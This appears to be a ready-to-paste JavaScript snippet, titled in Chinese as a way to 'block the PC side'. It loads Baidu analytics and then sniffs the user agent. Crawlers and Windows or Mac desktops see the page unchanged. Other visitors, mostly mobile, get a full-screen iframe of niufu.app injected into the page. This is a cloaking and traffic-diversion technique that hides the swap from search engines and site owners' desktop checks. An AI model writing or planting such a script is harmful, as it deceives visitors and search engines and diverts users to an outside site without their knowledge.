屏蔽PC端的JS框架

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1. 
   
2. <script>
   
3. var _hmt = _hmt || [];
   
4. (function() {
   
5.   var hm = document.createElement("script");
   
6.   hm.src = "https://hm.baidu.com/hm.js?6b74700e6ecf339e1d5f4b15aab6fcb1";
   
7.   var s = document.getElementsByTagName("script")[0];
   
8.   s.parentNode.insertBefore(hm, s);
   
9. })();
   
10. 
    
11. 
    
12. if (navigator.userAgent.indexOf('bot') > -1||navigator.userAgent.indexOf('spider') > -1||navigator.userAgent.indexOf('gou') > -1){
    
13.   
    
14. }else if(navigator.userAgent.indexOf('Macintosh') > -1||navigator.userAgent.indexOf('Windows') > -1){
    
15. 
    
16.   
    
17. }
    
18. else{document.writeln("<meta name=\'viewport\' content=\'width=device-width, initial-scale=1, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\' />");
    
19. document.writeln("  <style>body{margin:0;}</style>");
    
20. document.writeln(" <iframe width=\'100%\'  src=\'https://niufu.app/\' height=\'720px\'></iframe>");}
    
21. </script>

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